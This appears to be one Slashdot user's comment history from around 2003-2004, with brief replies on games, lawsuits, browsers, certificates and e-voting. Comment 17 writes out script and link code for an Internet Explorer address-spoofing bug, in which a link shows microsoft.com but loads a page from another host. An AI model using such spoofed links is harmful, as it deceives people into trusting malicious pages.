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  1. Re:DVD special edition! on Unreal Tournament 2004 Demo Released · · Score: 1

    At ebgames, you can get the DVD Special Edition, which includes a headset and other extras, for the same price as the cd edition - $39.99.

  2. Re:Blog text - before it gets slashdotted on TeacherReviews.com Forced Offline · · Score: 4, Informative

    According to Dylan Greene's blog, THE LAWSUIT HAS BEEN DROPPED

    TeacherReviews.com is coming back, and it's going to be better than ever - for both students and professors.

    The professor who threatened a lawsuit has decided to drop the case. This happened after we talked about the situation, the site as it is today, and the intent of the site, which has always been to help students, as opposed to insult professors. This professor is now helping the site by providing feedback to the new features from a professor's point of view, which is something I have not looked into before.

  3. Re:I run litigiousbastards.com on Novell Quotes AT&T on Derivative Works · · Score: 1

    Well done! One thought that occurs to me is that you could consider running a reverse google-bomb as well as in The SCO Group (or variations) giving The SCO Group. Right now the people that find your site are the typing 'litigious bastards' which means they already know about the efforts to affect rankings, however, someone just looking for information about SCO will not currently find your site.

  4. Get the demo on How are System Requirements Determined? · · Score: 1

    Why not just get the demo when it comes out in the next week and see if you can tweak the settings and ini's enough to get it running decently? As reported by BeyondUnreal, the demo will be distributed by BitTorrent.

    Also, why not just get a new processor. You can get a decent one for under $40 these days. and with a motherboard combo you might get away with something under $80.

  5. Re:confused: do ya want speed or reliable speed? on Cable Modem Hackers Release Improved Firmware · · Score: 1

    Same for me, I've been getting a very reliable 3000/300 connection since their upgrade and giganews runs anywhere from 340 kb/s to 400 kb/s. It looks like half the people testing on dslreports are getting that speed or better. Also, they're planning on 50 Mbit/s within two or three years.

  6. Re:I can see the ad campaign now... on Mono 0.30 Released · · Score: 4, Funny
  7. Re:SplashPad? on 2003 Vaporware Awards · · Score: 1

    Check out the news section of their homepage. They've just secured $5.8 million in financing. Here's the Google provided HTML version of the PDF news release.

  8. Re:Googlemail on Yahoo! Research Labs · · Score: 1

    Google does seem to return plenty of worthless links these days, but it is still often possible to get the results you want. In this case, just adding the key word 'asian' does the trick.

  9. Re:Either survival, or limited continued operation on Mars Rover Rolls And Turns · · Score: 1
  10. Re:Who needs them? on Verisign Certificate Expiration Causes Multiple Problems · · Score: 1

    Unfortunately, the ugly-looking security warnings are necessary with non-blessed CA certificates because the browser has no way of knowing whether you've been subjected to a Man-In-The-Middle Attack. Wikipedia has a simpler explanation.

  11. Re:See the Eames version on Magnifying by Powers of Ten · · Score: 2, Informative

    The original Powers of Ten video (by Charles and Ray Eames) is still the definitive version.

    Screencaps Webcast (Real Player)

  12. Re:A bit excessive on 8th Grader Suspended for Using 'net send' Command · · Score: 1

    Rate My Teachers has an entry for Richland Middle School and you can now rate or comment on Beverly Sweeney or the principal.

  13. Re:Because people have their favorite editors on Microsoft Looks At Integrating Forums and E-mail · · Score: 1
  14. Re:'3' filled in for Crime; it does pay on Mitnick Calls for Hacker Stories · · Score: 1

    in a public setting such as a restaurant or a sports arena

    But isn't the RIAA saying that his nephew making the file available for anyone to download IS a public setting?

  15. No registration with print layout on Playing Mogul In The Games Industry · · Score: 5, Informative

    Go here and click the 'If the URL is valid, try visiting' link.

  16. Re:New name on Lindows Ordered To Stop Using Lindows Name · · Score: 1

    So.. Holeinthewall OS? Not bad.

  17. Re:Works fine on IE on New IE Bug Hides Real Site Address · · Score: 2, Informative

    This exploit does NOT rely on Javascript. The zapthedingbat exploit page does indeed rely on script, but just do a slight modification to their script in a local file (remove spaces):

    <script language="javascript">
    document.write(unescape('h ttp://www.microsoft.com%01@zapthedingbat.com/secur ity/ex01/vun2.htm'));
    </script>

    will give you a URL that you can put into an unscripted link something like this, but with the %01 encoded and displayed as a box.

    <a href="http://www.microsoft.com[encoded %01]@zapthedingbat.com/security/ex01/vun2.htm">exp loit</a>

  18. Re:Pragmatism on Linux: the GPL and Binary Modules · · Score: 1

    Nvidia's Cg compilers have been open sourced. Download here.

  19. Re:Use Google, with site:microsoft.com on CD-ROMs Failing In Win2k & XP Boxes? · · Score: 1

    If you actually do the search there are a few links, but I don't know if they apply. CD-ROM Drive or DVD-ROM Drive Missing After You Install Windows XP

    Actually, I've seen the drives disappear a number of times due to a bug when removing Easy CD Creator. CD-ROM Access Is Missing and Messages (in device mgr) Cite Error Code 31, Code 32, Code 19, or Code 39 After You Remove Easy CD Creator in Windows XP or look for the registry patch near the bottom of this page.

  20. Re:Anyone looking for work in security? on Gangs Extort Companies With DDoS Attacks · · Score: 2, Informative

    As reported on their cyber attacks page, Spamhaus.org is using the iSecure product from Melior to block the DDoS from mimail and variants. If iSecure fails and spamhaus.org is unreachable, here's the Google cache.

  21. Re:Shit, I thought my computer could run backwards on 'Reversible' Computers More Energy Efficient · · Score: 1

    What would be the practical application of this?

    Am I the only one that wakes from an eight hour daze every day wishing there was some way to figure out what the hell I've been doing all day?

  22. Re:eh $150,000? on Simcity Microwave Power by 2050? · · Score: 1

    What if an angry country figures out a way to fire a missile up there?

    Not to mention the dangers from asteroids and meteorites.

  23. Re:Most of these objections are invalid on 5 Reasons Not to Buy an iPod · · Score: 3, Funny

    Dot.Com.CEO?????? What the hell is this, the 90s?

  24. Re:Matrix and snobishness on 'Matrix Revolutions' Opens Today · · Score: 1

    Have you watched the Animatrix? There's quite a few blatant Alice references in Detective Story.

  25. Re:Trouble is ... on E-Voting Done Right - In Australia · · Score: 2, Insightful

    Print that MD5 sum on the screen for a voter along with a printed copy available at the polling station

    How could you get around the fact that the creator of the voting machine controls the software and hardware and can print out whatever MD5 number they want?